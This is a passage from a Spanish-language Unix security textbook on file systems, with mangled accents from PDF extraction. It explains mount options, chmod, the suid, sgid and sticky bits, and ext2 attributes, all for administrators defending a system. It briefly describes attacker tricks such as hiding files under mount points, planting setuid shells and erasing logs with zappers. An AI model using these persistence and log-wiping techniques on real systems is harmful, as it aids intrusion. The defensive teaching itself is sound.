de ficheros. Por ejemplo, algo muy habitual en un atacante que consigue privilegios de administrador en una m´quina es instalar ciertas utilidades que le permitan seguir gozando de a ese privilegio (por ejemplo, un rootkit o un simple shell setuidado); si guarda el fichero setuidado – hablaremos m´s tarde de estos permisos ‘especiales’ – en cualquier directorio de nuestro sistema, a su localizaci´n ser´ muy r´pida: una orden tan simple como find nos alertar´ de su presencia. o a a a En cambio, ¿qu´ sucede si el atacante utiliza una parte del sistema de ficheros oculta? Cuando e montamos un sistema bajo un nombre de directorio, todo lo que hab´ en ese directorio desaparece ıa de la vista, y es sustituido por el contenido del sistema montado; no volver´ a estar accesible hasta a que no desmontemos el sistema: luisa:~# mount /dev/hda3 on / type ext2 (rw) /dev/hda4 on /home type ext2 (rw) none on /proc type proc (rw) luisa:~# ls /home/ ftp/ toni/ lost+found/ luisa:~# umount /home luisa:~# ls /home/ luisa:~#
- 67. 4.2. SISTEMAS DE FICHEROS 49 El atacante puede desmontar una parte de nuestra jerarqu´ de directorios, guardar ah´ ciertos ıa ı ficheros, y volver a montar el sistema que hab´ anteriormente; localizar esos archivos puede ser ıa complicado, no por motivos t´cnicos sino porque a muy poca gente se le ocurre hacerlo. La orden e ncheck, existente en Unices antiguos, puede detectar estos ficheros ocultos bajo un mount point; si no disponemos de esta utilidad podemos buscar por Internet aplicaciones que consiguen lo mismo, o simplemente desmontar manualmente los sistemas (a excepci´n del ra´ y comprobar que no hay o ız) nada oculto bajo ellos. El tema de desmontar sistemas de ficheros tambi´n puede ocasionar alg´n dolor de cabeza a muchos e u administradores; aunque no se trata de algo estrictamente relativo a la seguridad, vamos a comentar un problema t´ ıpico que se podr´ considerar incluso una negaci´n de servicio (no causada por un ıa o fallo de Unix sino por el desconocimiento del administrador). En ocasiones, al intentar desmontar un sistema de ficheros, encontramos el siguiente resultado: luisa:~# umount /home/ umount: /home: device is busy luisa:~# ¿Qu´ sucede? Simplemente que existe un determinado proceso haciendo uso de recursos bajo ese e nombre de directorio. Hasta que dicho proceso no finalice (por las buenas o por las malas), ser´ a imposible desmontar el sistema; es f´cil determinar de qu´ proceso se trata – y posteriormente a e eliminarlo – mediante la orden fuser. Otro problema cl´sico de los sistemas de ficheros viene de la necesidad que en muchos entornos existe a de permitir a los usuarios – sin privilegios – montar y desmontar sistemas de ficheros (t´ ıpicamente, discos flexibles o CD-ROMs). Por ejemplo, imaginemos un laboratorio de m´quinas Unix donde es a deseable que todos los usuarios puedan acceder a la disquetera, tanto para copiar pr´cticas real- a izadas en casa como para hacer una copia de las que se han hecho en el propio laboratorio (este es uno de los casos m´s frecuentes en cualquier organizaci´n). Unix permite dar una soluci´n r´pida a o o a a este problema, pero esta soluci´n puede convertirse en una amenaza a la seguridad si no es im- o plantada correctamente: Al hablar de /etc/fstab hemos comentado el montaje con ciertas opciones tomadas por defec- to; dichas opciones son – en el caso de Linux, consultar la p´gina del manual de mount en otros a sistemas – ‘rw’ (se permite tanto la lectura como la escritura), ‘suid’ (se permite la existen- cia de ficheros setuidados), ‘dev’ (se permite la existencia de dispositivos), ‘exec’ (se permite la ejecuci´n de binarios), ‘auto’ (el sistema se monta autom´ticamente al arrancar o al utilizar o a mount -a), ‘nouser’ (s´lo puede ser montado por el root) y ‘async’ (la entrada/salida sobre el o dispositivo se realiza de forma as´ ıncrona). Evidentemente, se trata de las opciones m´s l´gicas para a o sistemas de ficheros ‘normales’, pero no para los que puedan montar los usuarios; si deseamos que un usuario sin privilegios pueda montar y desmontar cierto dispositivo, hemos de especificar la op- ci´n ‘user’ en la entrada correspondiente de /etc/fstab. Parece l´gico tambi´n utilizar ‘noauto’ o o e para que el sistema no se monte autom´ticamente en el arranque de la m´quina (si esto sucediera, a a el root tendr´ que desmontar la unidad manualmente para que otros usuarios puedan montarla), ıa pero otras opciones importantes no son tan inmediatas. Es imprescindible que si permitimos a un usuario montar una unidad utilicemos ‘nodev’, de forma que si en el sistema montado existen ficheros de tipo dispositivo (por ejemplo, un archivo que haga referencia a nuestros discos duros) ese fichero sea ignorado; en caso contrario, cualquiera podr´ acceder directamente a nuestro hardware, ıa por ejemplo para destruir completamente los discos duros o bloquear toda la m´quina. Tambi´n a e es importante especificar ‘nosuid’, de forma que se ignore el bit de setuid en cualquier fichero contenido en el sistema que el usuario monta: as´ evitamos que con un simple shell setuidado en ı un disco flexible el usuario consiga privilegios de administrador en nuestro sistema. Incluso puede ser conveniente especificar ‘noexec’, de forma que no se pueda ejecutar nada de lo que est´ en el a dispositivo montado – esto parece l´gico, ya que en principio se va a tratar de una unidad utilizada o simplemente para transferir datos entre la m´quina y un sistema externo a la red, como el orde- a nador de casa de un alumno –. Todas estas opciones (‘noexec’, ‘nosuid’ y ‘nodev’) en Linux se asumen simplemente al indicar ‘user’, pero en otros sistemas Unix quiz´s no, por lo que nunca a est´ de m´s ponerlas expl´ a a ıcitamente (o al menos consultar el manual en otros clones de Unix para
- 68. 50 CAP´ ITULO 4. EL SISTEMA DE FICHEROS asegurarse del efecto de cada opci´n); de esta forma, si queremos que los usuarios puedan montar o por ejemplo la disquetera, una entrada correcta en /etc/fstab ser´ la siguiente: ıa luisa:~# grep fd0 /etc/fstab /dev/fd0 /floppy ext2 user,noauto,nodev,nosuid,noexec luisa:~# Otro aspecto relacionado con el montaje de sistemas de ficheros que puede afectar a nuestra se- guridad es el uso de sistemas de ficheros diferentes del ra´ bajo ciertos directorios; una elecci´n ız o incorrecta a la hora de elegir d´nde montar sistemas puede causar ciertos problemas, sobre todo o negaciones de servicio. Generalmente, es recomendable montar dispositivos diferentes bajo todos y cada uno de los directorios sobre los que los usuarios tienen permiso de escritura; esto incluye el padre de sus $HOME, /tmp/ o /var/tmp/ (que puede ser un simple enlace a /tmp/). Con esto conseguimos que si un usuario llena un disco, esto no afecte al resto del sistema: un disco lleno implica muchos problemas para la m´quina, desde correo electr´nico que no se recibe, logs que no a o se registran, o simplemente una negaci´n de servicio contra el resto de usuarios, que no podr´n al- o a macenar nada. Aunque algunos Unices reservan una parte de cada disco o partici´n para escritura o s´lo del root o de procesos que corran bajo el UID 0 – t´ o ıpicamente un 10% de su capacidad total –, no podemos confiar ciegamente en este mecanismo para mantener segura nuestra m´quina; as´ a ı, una configuraci´n m´s o menos adecuada ser´ la siguiente2 : o a ıa rosita:~# mount /dev/hda1 on / type ext2 (rw) /dev/hda2 on /tmp type ext2 (rw) /dev/hdb1 on /home type ext2 (rw) none on /proc type proc (rw) rosita:~# Como podemos comprobar, si un usuario lanza un ftp en background desde su $HOME durante la noche – t´ıpico proceso que llena gran cantidad de disco –, en todo caso podr´ afectar al resto de a usuarios, pero nunca al sistema en global (correo, logs, root. . . ); este tipo de problemas no suelen ser ataques, sino m´s bien descuidos de los usuarios que no tienen en cuenta el espacio disponible a antes de descargar ficheros de forma no interactiva. Si queremos que ni siquiera pueda afectar al resto de usuarios, podemos establecer un sistema de quotas de disco en nuestra m´quina. a 4.3 Permisos de un archivo Los permisos de cada fichero son la protecci´n m´s b´sica de estos objetos del sistema operativo; o a a definen qui´n puede acceder a cada uno de ellos, y de qu´ forma puede hacerlo. Cuando hacemos un e e listado largo de ciertos archivos podemos ver sus permisos junto al tipo de fichero correspondiente, en la primera columna de cada l´ ınea: anita:~# ls -l /sbin/rc0 -rwxr--r-- 3 root sys 2689 Dec 1 1998 /sbin/rc0 anita:~# En este caso vemos que el archivo listado es un fichero plano (el primer car´cter es un ‘-’) y sus a permisos son ‘rwxr--r--’. ¿C´mo interpretar estos caracteres? Los permisos se dividen en tres o ternas en funci´n de a qu´ usuarios afectan; cada una de ellas indica la existencia o la ausencia o e de permiso para leer, escribir o ejecutar el fichero: una r indica un permiso de lectura, una w de escritura, una x de ejecuci´n y un ‘-’ indica que el permiso correspondiente no est´ activado. As´ o a ı, si en una de las ternas tenemos los caracteres rwx, el usuario o usuarios afectados por esa terna tiene o tienen permisos para realizar cualquier operaci´n sobre el fichero. ¿De qu´ usuarios se trata o e en cada caso? La primera terna afecta al propietario del fichero, la segunda al grupo del propietario cuando lo cre´ (recordemos un mismo usuario puede pertenecer a varios grupos) y la tercera al o resto de usuarios. De esta forma, volviendo al ejemplo anterior, tenemos los permisos mostrados en la figura 4.1. 2 Recordemos que en ciertos Unices existe /var/tmp/, directorio donde los usuarios tambi´n pueden escribir; quiz´s e a nos interese, en lugar de dedicar una partici´n a este directorio, enlazarlo simb´licamente a /tmp/. o o
- 69. 4.3. PERMISOS DE UN ARCHIVO 51 r w x r - - r - - - Resto de usuarios: lectura. - Miembros del grupo (sys): lectura. - Propietario (root): lectura, escritura y ejecuci´n. o Figura 4.1: Permisos de un fichero Cuando un usuario3 intenta acceder en alg´n modo a un archivo, el sistema comprueba qu´ terna u e de permisos es la aplicable y se basa unicamente en ella para conceder o denegar el acceso; as´ si un ´ ı, usuario es el propietario del fichero s´lo se comprueban permisos de la primera terna; si no, se pasa o a la segunda y se aplica en caso de que los grupos coincidan, y de no ser as´ se aplican los permisos ı de la ultima terna. De esta forma es posible tener situaciones tan curiosas como la de un usuario ´ que no tenga ning´n permiso sobre uno de sus archivos, y en cambio que el resto de usuarios del u sistema pueda leerlo, ejecutarlo o incluso borrarlo; obviamente, esto no es lo habitual, y de suceder el propietario siempre podr´ restaurar los permisos a un valor adecuado. a El propietario y el grupo de un fichero se pueden modificar con las ´rdenes chown y chgrp respec- o tivamente; ambas reciben como par´metros al menos el nombre de usuario o grupo (los nombres a v´lidos de usuario son los que poseen una entrada en /etc/passwd mientras que los grupos v´lidos a a se leen de /etc/group) al que vamos a otorgar la posesi´n del fichero, as´ como el nombre de archivo o ı a modificar: anita:~# ls -l /tmp/fichero -rw-r--r-- 1 root other 799 Feb 8 19:47 /tmp/fichero anita:~# chown toni /tmp/fichero anita:~# ls -l /tmp/fichero -rw-r--r-- 1 toni other 799 Feb 8 19:47 /tmp/fichero anita:~# chgrp staff /tmp/fichero anita:~# ls -l /tmp/fichero -rw-r--r-- 1 toni staff 799 Feb 8 19:47 /tmp/fichero anita:~# En muchas variantes de Unix es posible cambiar a la vez el propietario y el grupo de un fichero mediante chown, separando ambos mediante un car´cter especial, generalmente ‘:’ o ‘.’: a anita:~# ls -l /tmp/fichero -rw-r--r-- 1 root other 799 Feb 8 19:47 /tmp/fichero anita:~# chown toni:staff /tmp/fichero anita:~# ls -l /tmp/fichero -rw-r--r-- 1 toni staff 799 Feb 8 19:47 /tmp/fichero anita:~# Como vemos, ninguna de estas ´rdenes altera el campo de permisos4 ; para modificar los permisos o de un archivo se utiliza la orden chmod. Este comando generalmente recibe como par´metro el a permiso en octal que queremos asignar a cierto fichero, as´ como el nombre del mismo: ı anita:~# ls -l /tmp/fichero -rw-r--r-- 1 root staff 799 Feb 8 19:47 /tmp/fichero anita:~# chmod 755 /tmp/fichero 3 Excepto el root, que no se ve afectado por los permisos de un fichero. 4 Estono siempre es as´ bajo ciertas circunstancias en algunos Unix el cambio de grupo o de propietario puede ı: modificar los permisos del archivo, como veremos al hablar de ficheros setuidados.
- 70. 52 CAP´ ITULO 4. EL SISTEMA DE FICHEROS anita:~# ls -l /tmp/fichero -rwxr-xr-x 1 root staff 799 Feb 8 19:47 /tmp/fichero anita:~# ¿C´mo podemos obtener el n´mero en octal a partir de una terna de permisos determinada, y o u viceversa? Evidentemente no podemos entrar aqu´ a tratar todas las caracter´ ı ısticas de este sistema de numeraci´n, pero vamos a proporcionar unas ideas b´sicas. Imaginemos que tenemos un fichero o a con unos determinados permisos de los que queremos calcular su equivalente octal, o que conocemos los permisos a asignar pero no su equivalente num´rico; por ejemplo, necesitamos asignar a un e fichero la terna rw-r---wx, que en la pr´ctica no tiene mucho sentido pero que a nosotros nos sirve a de ejemplo. Lo primero que debemos hacer a partir de estos bits rwx es calcular su equivalente binario, para lo que asignamos el valor ‘1’ si un determinado permiso est´ activo (es decir, si a aparece una r, w o x en ´l) y un ‘0’ si no lo est´ (aparece un ‘-’); as´ el equivalente binario de la e a ı, terna propuesta es 110100011. Ahora simplemente hemos de pasar el n´mero del sistema binario u al octal: lo dividimos en grupos de tres elementos (110 100 011) y de cada uno de ellos calculamos su equivalente octal: 1102 ≡ 1 · 22 + 1 · 21 + 0 · 20 ≡ 68 1002 ≡ 1 · 22 + 0 · 21 + 0 · 20 ≡ 48 0112 ≡ 0 · 22 + 1 · 21 + 1 · 20 ≡ 38 Ya tenemos los tres n´meros de nuestra terna de permisos, o lo que es lo mismo, la representaci´n u o octal de los bits iniciales: 643. Por tanto, si necesitamos asignar esta terna a un cierto fichero, simplemente hemos de ejecutar la orden chmod indic´ndole este n´mero y el nombre del archivo: a u anita:~# chmod 643 /tmp/fichero anita:~# ls -l /tmp/fichero -rw-r---wx 1 root root 799 Feb 8 19:47 /tmp/fichero* anita:~# La forma de trabajar de chmod comentada requiere que se indique expl´ ıcitamente el valor octal de los bits rwx que queremos otorgar a un fichero; sin importar el valor de las ternas que pose´ antes ıa de ejecutar la orden, estamos asignando a los permisos del archivo el nuevo valor valor indicado en la l´ ınea de comandos. Existe otra forma de trabajo de chmod denominada ‘simb´lica’ en la que no o necesitamos indicar el valor octal de todos los bits, sino que especificamos unicamente par´metros ´ a para los valores de los permisos que el archivo posee y deseamos modificar. En lugar de utilizar el equivalente octal, utilizamos s´ ımbolos (de ah´ el nombre de esta forma de trabajo) que representan ı la activaci´n o desactivaci´n de ciertos bits en cada una de las tres ternas; la sintaxis b´sica5 de o o a chmod en este caso es la siguiente: chmod [ugoa]{+,-}{rwxst} fichero Podemos ver que el valor simb´lico comienza por cero o m´s letras que indican sobre que terna o a de los permisos se van a realizar los cambios (u para propietario del fichero, g para grupo, o para resto de usuarios y a para las tres ternas; si no se especifica ninguna letra, se asume a). A ellas les sigue un signo ‘+’ o ‘-’ en funci´n de si deseamos activar o resetar el bit sobre el que trabajamos, o par´metro indicado por el ultimo conjunto formado por una o m´s letras, r para el permiso de a ´ a lectura, w para escritura, x para ejecuci´n, s para suid o sgid y t para bit de permanencia (el o significado de estos dos ultimos se explicar´ en el punto siguiente). Entre los tres campos del valor ´ a simb´lico no se insertan espacios: o anita:~# ls -l /tmp/fichero -r-------- 1 root other 902 Feb 9 05:05 /tmp/fichero anita:~# chmod +x /tmp/fichero anita:~# ls -l /tmp/fichero -r-x--x--x 1 root other 902 Feb 9 05:05 /tmp/fichero anita:~# chmod og-x /tmp/fichero anita:~# ls -l /tmp/fichero 5 Se recomienda consultar la p´gina del manual para ver otras opciones de la orden. a
- 71. 4.4. LOS BITS SUID, SGID Y STICKY 53 -r-x------ 1 root other 902 Feb 9 05:05 /tmp/fichero anita:~# chmod ug+rwx /tmp/fichero anita:~# ls -l /tmp/fichero -rwxrwx--- 1 root other 902 Feb 9 05:05 /tmp/fichero anita:~# Esta forma de trabajo simb´lica es menos utilizada en la pr´ctica que la forma octal, pero en cier- o a tas situaciones es muy util, por ejemplo si deseamos activar todos los permisos de ejecuci´n de un ´ o archivo o si queremos setuidarlo: un simple chmod +x o chmod u+s es suficiente en estos casos, y evitamos preocuparnos por si modificamos el resto de permisos. Quiz´s despu´s de ver el procedimiento de modificaci´n de los permisos de un fichero, este puede a e o parecer demasiado complicado y arcaico para un sistema operativo moderno; a fin de cuentas, mucha gente prefiere gestores gr´ficos de permisos – igual que prefiere gestores gr´ficos para otras tareas a a de administraci´n –, programas que dan todo hecho y no obligan al administrador a ‘complicarse’, o llenos de men´s desplegables y di´logos que una y otra vez preguntan si realmente deseamos mod- u a ificar cierto permiso (¿Est´ usted seguro? ¿Realmente seguro? ¿Es mayor de edad? ¿Me lo jura?). a Incluso esas personas aseguran que el procedimiento gr´fico es mucho m´s claro y m´s potente que a a a el que Unix ofrece en modo texto. Nada m´s lejos de la realidad; por un lado, aunque todo el mundo a reconoce que la explicaci´n detallada de c´mo funcionan los permisos de ficheros es algo farragosa, o o en la pr´ctica el convertir una terna de bits rwx a octal o viceversa es una tarea trivial, algo que a ning´n administrador con unas cuantas horas de pr´ctica ni siquiera necesita pensar. Por otro, u a algo m´s importante que la facilidad o dificultad de modificar los permisos: su robustez; hemos de a pensar que este modelo de protecci´n est´ vigente desde hace casi treinta a˜os y no ha cambiado o a n absolutamente nada. Si en todo este tiempo no se ha modificado el mecanismo, obviamente es porque siempre ha funcionado – y lo sigue haciendo – bien. 4.4 Los bits suid, sgid y sticky Habitualmente, los permisos de los archivos en Unix se corresponden con un n´mero en octal que u var´ entre 000 y 777; sin embargo, existen unos permisos especiales que hacen variar ese n´mero ıa u entre 0000 y 7777: se trata de los bits de permanencia (1000), sgid (2000) y suid (4000). El bit de suid o setuid se activa sobre un fichero a˜adi´ndole 4000 a la representaci´n octal de n e o los permisos del archivo y otorg´ndole adem´s permiso de ejecuci´n al propietario del mismo; al a a o hacer esto, en lugar de la x en la primera terna de los permisos, aparecer´ una s o una S si no a hemos otorgado el permiso de ejecuci´n correspondiente (en este caso el bit no tiene efecto): o anita:~# chmod 4777 /tmp/file1 anita:~# chmod 4444 /tmp/file2 anita:~# ls -l /tmp/file1 -rwsrwxrwx 1 root other 0 Feb 9 17:51 /tmp/file1* anita:~# ls -l /tmp/file2 -r-Sr--r-- 1 root other 0 Feb 9 17:51 /tmp/file2* anita:~# El bit suid activado sobre un fichero indica que todo aqu´l que ejecute el archivo va a tener durante e la ejecuci´n los mismos privilegios que qui´n lo cre´; dicho de otra forma, si el administrador crea o e o un fichero y lo setuida, todo aquel usuario que lo ejecute va a disponer, hasta que el programa finalice, de un nivel de privilegio total en el sistema. Podemos verlo con el siguiente ejemplo: luisa:/home/toni# cat testsuid.c #include <stdio.h> #include <unistd.h> main(){ printf("UID: %d, EUID: %dn",getuid(),geteuid()); }
- 72. 54 CAP´ ITULO 4. EL SISTEMA DE FICHEROS luisa:/home/toni# cc -o testsuid testsuid.c luisa:/home/toni# chmod u+s testsuid luisa:/home/toni# ls -l testsuid -rwsr-xr-x 1 root root 4305 Feb 10 02:34 testsuid luisa:/home/toni# su toni luisa:~$ id uid=1000(toni) gid=100(users) groups=100(users) luisa:~$ ./testsuid UID: 1000, EUID: 0 luisa:~$ Podemos comprobar que el usuario toni, sin ning´n privilegio especial en el sistema, cuando ejecuta u nuestro programa setuidado de prueba est´ trabajando con un euid (Effective UID) 0, lo que le a otorga todo el poder del administrador (fij´monos que ´ste ultimo es el propietario del ejecutable); e e ´ si en lugar de este c´digo el ejecutable fuera una copia de un shell, el usuario toni tendr´ todos los o ıa privilegios del root mientras no finalice la ejecuci´n, es decir, hasta que no se teclee exit en la l´ o ınea de ´rdenes. o Todo lo que acabamos de comentar con respecto al bit setuid es aplicable al bit setgid pero a nivel de grupo del fichero en lugar de propietario: en lugar de trabajar con el euid del propietario, todo usuario que ejecute un programa setgidado tendr´ los privilegios del grupo al que pertenece a el archivo. Para activar el bit de setgid sumaremos 2000 a la representaci´n octal del permiso del o fichero y adem´s habremos de darle permiso de ejecuci´n a la terna de grupo; si lo hacemos, la s o a o S aparecer´ en lugar de la x en esta terna. Si el fichero es un directorio y no un archivo plano, el bit a setgid afecta a los ficheros y subdirectorios que se creen en ´l: estos tendr´n como grupo propietario e a al mismo que el directorio setgidado, siempre que el proceso que los cree pertenezca a dicho grupo. Pero, ¿c´mo afecta todo esto a la seguridad del sistema? Muy sencillo: los bits de setuid y setgid dan o a Unix una gran flexibilidad, pero constituyen al mismo tiempo la mayor fuente de ataques internos al sistema (entendiendo por ataques internos aquellos realizados por un usuario – autorizado o no – desde la propia m´quina, generalmente con el objetivo de aumentar su nivel de privilegio en la a misma). Cualquier sistema Unix tiene un cierto n´mero de ejecutables setuidados y/o setgidados. u Cada uno de ellos, como acabamos de comentar, se ejecuta con los privilegios de quien lo cre´ (gen- o eralmente el root u otro usuario con ciertos privilegios) lo que directamente implica que cualquier usuario tiene la capacidad de lanzar tareas que escapen total o parcialmente al control del sistema operativo: se ejecutan en modo privilegiado si es el administrador quien cre´ los ejecutables. Evi- o dentemente, estas tareas han de estar controladas de una forma exhaustiva, ya que si una de ellas se comporta de forma anormal (un simple core dump) puede causar da˜os irreparables al sistema6 ; n tanto es as´ que hay innumerables documentos que definen, o lo intentan, pautas de programaci´n ı o considerada ‘segura’ (en la secci´n 5.5 se citan algunos de ellos y tambi´n se explican algunas de o e estas t´cnicas). Si por cualquier motivo un programa setuidado falla se asume inmediatamente e que presenta un problema de seguridad para la m´quina, y se recomienda resetear el bit de setuid a cuanto antes. Est´ claro que asegurar completamente el comportamiento correcto de un programa es muy dif´ a ıcil, por no decir imposible; cada cierto tiempo suelen aparecer fallos (bugs) en ficheros setuidados de los diferentes clones de Unix que ponen en peligro la integridad del sistema. Entonces, ¿por qu´ e no se adopta una soluci´n radical, como eliminar este tipo de archivos? Hay una sencilla raz´n: o o el riesgo que presentan no se corre in´tilmente, para tentar al azar, sino que los archivos que se u ejecutan con privilegios son estrictamente necesarios en Unix, al menos algunos de ellos. Veamos un ejemplo: un fichero setuidado cl´sico en cualquier clon es /bin/passwd, la orden para que los a usuarios puedan cambiar su contrase˜a de entrada al sistema. No hace falta analizar con mucho n detalle el funcionamiento de este programa para darse cuenta que una de sus funciones consiste en modificar el fichero de claves (/etc/passwd o /etc/shadow). Est´ claro que un usuario per se no a tiene el nivel de privilegio necesario para hacer esto (incluso es posible que ni siquiera pueda leer el fichero de claves), por lo que frente a este problema tan simple existen varias soluciones: podemos 6 Es especialmente preocupante la posibilidad de ejecutar c´digo arbitrario ([One96]), comentada en la secci´n 5.3. o o
- 73. 4.4. LOS BITS SUID, SGID Y STICKY 55 asignar permiso de escritura para todo el mundo al fichero de contrase˜as, podemos denegar a los n usuarios el cambio de clave o podemos obligarles a pasar por la sala de operaciones cada vez que quieran cambiar su contrase˜a. Parece obvio que ninguna de ellas es apropiada para la seguridad n del sistema (quiz´s la ultima lo sea, pero es impracticable en m´quinas con un n´mero de usuarios a ´ a u considerable). Por tanto, debemos asumir que el bit de setuid en /bin/passwd es imprescindible para un correcto funcionamiento del sistema. Sin embargo, esto no siempre sucede as´ en un sis- ı: tema Unix instalado out of the box el n´mero de ficheros setuidados suele ser mayor de cincuenta; u sin perjudicar al correcto funcionamiento de la m´quina, este n´mero se puede reducir a menos de a u cinco, lo que viene a indicar que una de las tareas de un administrador sobre un sistema reci´ne instalado es minimizar el n´mero de ficheros setuidados o setgidados. No obstante, tampoco es u conveniente eliminarlos, sino simplemente resetear su bit de setuid mediante chmod: luisa:~# ls -l /bin/ping -r-sr-xr-x 1 root bin 14064 May 10 1999 /bin/ping* luisa:~# chmod -s /bin/ping luisa:~# ls -l /bin/ping -r-xr-xr-x 1 root bin 14064 May 10 1999 /bin/ping* luisa:~# Tambi´n hemos de estar atentos a nuevos ficheros de estas caracter´ e ısticas que se localicen en la m´quina; demasiadas aplicaciones de Unix se instalan por defecto con ejecutables setuidados cuando a realmente este bit no es necesario, por lo que a la hora de instalar nuevo software o actualizar el existente hemos de acordarnos de resetear el bit de los ficheros que no lo necesiten. Especialmente grave es la aparici´n de archivos setuidados de los que el administrador no ten´ constancia (ni son o ıa aplicaciones del sistema ni un aplicaciones a˜adidas), ya que esto casi en el 100% de los casos indica n que nuestra m´quina ha sido comprometida por un atacante. Para localizar los ficheros con alguno a de estos bits activos, podemos ejecutar la siguiente orden: luisa:~# find / ( -perm -4000 -o -perm -2000 ) -type f -print Por otra parte, el sticky bit o bit de permanencia se activa sum´ndole 1000 a la representaci´n octal a o de los permisos de un determinado archivo y otorg´ndole adem´s permiso de ejecuci´n; si hacemos a a o esto, veremos que en lugar de una x en la terna correspondiente al resto de usuarios aparece una t (si no le hemos dado permiso de ejecuci´n al archivo, aparecer´ una T): o a anita:~# chmod 1777 /tmp/file1 anita:~# chmod 1774 /tmp/file2 anita:~# ls -l /tmp/file1 -rwxrwxrwt 1 root other 0 Feb 9 17:51 /tmp/file1* anita:~# ls -l /tmp/file2 -rwxrwxr-T 1 root other 0 Feb 9 17:51 /tmp/file2* anita:~# Si el bit de permanencia de un fichero est´ activado (recordemos que si aparece una T no lo est´) a a le estamos indicando al sistema operativo que se trata de un archivo muy utilizado, por lo que es conveniente que permanezca en memoria principal el mayor tiempo posible; esta opci´n se utiliz- o aba en sistemas antiguos que dispon´ de muy poca RAM, pero hoy en d´ pr´cticamente no se ıan ıa a utiliza. Lo que si que sigue vigente es el efecto del sticky bit activado sobre un directorio: en este caso se indica al sistema operativo que, aunque los permisos ‘normales’ digan que cualquier usuario pueda crear y eliminar ficheros (por ejemplo, un 777 octal), s´lo el propietario de cierto archivo o y el administrador pueden borrar un archivo guardado en un directorio con estas caracter´ ısticas. Este bit, que s´lo tiene efecto cuando es activado por el administrador (aunque cualquier usuario o puede hacer que aparezca una t o una T en sus ficheros y directorios), se utiliza principalmente en directorios del sistema de ficheros en los que interesa que todos puedan escribir pero que no todos puedan borrar los datos escritos, como /tmp/ o /var/tmp/: si el equivalente octal de los permisos de estos directorios fuera simplemente 777 en lugar de 1777, cualquier usuario podr´ borrar los ıa ficheros del resto. Si pensamos que para evitar problemas podemos simplemente denegar la escrit- ura en directorios como los anteriores tambi´n estamos equivocados: muchos programas – como e compiladores, editores o gestores de correo – asumen que van a poder crear ficheros en /tmp/ o
- 74. 56 CAP´ ITULO 4. EL SISTEMA DE FICHEROS Atributo Significado A Don´t update Atime S Synchronous updates a Append only c Compressed file i Immutable file d No Dump s Secure deletion u Undeletable file Tabla 4.1: Atributos de los archivos en ext2fs. /var/tmp/, de forma que si no se permite a los usuarios hacerlo no van a funcionar correctamente; por tanto, es muy recomendable para el buen funcionamiento del sistema que al menos el directorio /tmp/ tenga el bit de permanencia activado. Ya para finalizar, volvemos a lo que hemos comentado al principio de la secci´n: el equivalente o octal de los permisos en Unix puede variar entre 0000 y 7777. Hemos visto que pod´ ıamos sumar 4000, 2000 o 1000 a los permisos ‘normales’ para activar respectivamente los bits setuid, setgid o sticky. Por supuesto, podemos activar varios de ellos a la vez simplemente sumando sus valores: en la situaci´n poco probable de que necesit´ramos todos los bits activos, sumar´ o a ıamos 7000 a la terna octal 777: luisa:~# chmod 0 /tmp/fichero luisa:~# ls -l /tmp/fichero ---------- 1 root root 0 Feb 9 05:05 /tmp/fichero luisa:~# chmod 7777 /tmp/fichero luisa:~# ls -l /tmp/fichero -rwsrwsrwt 1 root root 0 Feb 9 05:05 /tmp/fichero* luisa:~# Si en lugar de especificar el valor octal de los permisos queremos utilizar la forma simb´lica de o chmod, utilizaremos +t para activar el bit de permanencia, g+s para activar el de setgid y u+s para hacer lo mismo con el de setuid; si queremos resetearlos, utilizamos un signo ‘-’ en lugar de un ‘+’ en la l´ ınea de ´rdenes. o 4.5 Atributos de un archivo En el sistema de ficheros ext2 (Second Extended File System) de Linux existen ciertos atributos para los ficheros que pueden ayudar a incrementar la seguridad de un sistema. Estos atributos son los mostrados en la tabla 4.1. De todos ellos, de cara a la seguridad algunos no nos interesan demasiado, pero otros s´ que se deben ı tener en cuenta. Uno de los atributos interesantes – quiz´s el que m´s – es ‘a’; tan importante es a a que s´lo el administrador tiene el privilegio suficiente para activarlo o desactivarlo. El atributo ‘a’ o sobre un fichero indica que este s´lo se puede abrir en modo escritura para a˜adir datos, pero nunca o n para eliminarlos. ¿Qu´ tiene que ver esto con la seguridad? Muy sencillo: cuando un intruso ha e conseguido el privilegio suficiente en un sistema atacado, lo primero que suele hacer es borrar sus huellas; para esto existen muchos programas (denominados zappers, rootkits. . . ) que, junto a otras funciones, eliminan estructuras de ciertos ficheros de log como lastlog, wtmp o utmp. As´ consiguen ı que cuando alguien ejecute last, who, users, w o similares, no vea ni rastro de la conexi´n que el o atacante ha realizado a la m´quina; evidentemente, si estos archivos de log poseen el atributo ‘a’ a activado, el pirata y sus programas lo tienen m´s dif´ para borrar datos de ellos. Ahora viene a ıcil la siguiente cuesti´n: si el pirata ha conseguido el suficiente nivel de privilegio como para poder o escribir – borrar – en los ficheros (en la mayor´ de Unices para realizar esta tarea se necesita ser ıa root), simplemente ha de resetear el atributo ‘a’ del archivo, eliminar los datos comprometedores
- 75. 4.5. ATRIBUTOS DE UN ARCHIVO 57 y volver a activarlo. Obviamente, esto es as´ de simple, pero siempre hemos de recordar que en las ı redes habituales no suelen ser atacadas por piratas con un m´ınimo nivel de conocimientos, sino por los intrusos m´s novatos de la red; tan novatos que generalmente se limitan a ejecutar programas a desde sus flamantes Windows sin tener ni la m´s remota idea de lo que est´n haciendo en Unix, de a a forma que una protecci´n tan elemental como un fichero con el flag ‘a’ activado se convierte en o algo imposible de modificar para ellos, con lo que su acceso queda convenientemente registrado en el sistema. Otro atributo del sistema de archivos ext2 es ‘i’ (fichero inmutable); un archivo con este flag activado no se puede modificar de ninguna forma, ni a˜adiendo datos ni borr´ndolos, ni eliminar n a el archivo, ni tan siquiera enlazarlo mediante ln. Igual que suced´ antes, s´lo el administrador ıa o puede activar o desactivar el atributo ‘i’ de un fichero. Podemos aprovechar esta caracter´ ıstica en los archivos que no se modifican frecuentemente, por ejemplo muchos de los contenidos en /etc/ (ficheros de configuraci´n, scripts de arranque. . . incluso el propio fichero de contrase˜as si el a˜adir o n n o eliminar usuarios tampoco es frecuente en nuestro sistema); de esta forma conseguimos que ning´n u usuario pueda modificarlos incluso aunque sus permisos lo permitan. Cuando activemos el atributo ‘i’ en un archivo hemos de tener siempre en cuenta que el archivo no va a poder ser modificado por nadie, incluido el administrador, y tampoco por los programas que se ejecutan en la m´quina; por a tanto, si activ´ramos este atributo en un fichero de log, no se grabar´ ninguna informaci´n en a ıa o ´l, lo que evidentemente no es conveniente. Tambi´n hemos de recordar que los archivos tampoco e e van a poder sen enlazados, lo que puede ser problem´tico en algunas variantes de Linux que utilizan a enlaces duros para la configuraci´n de los ficheros de arranque del sistema. o Atributos que tambi´n pueden ayudar a implementar una 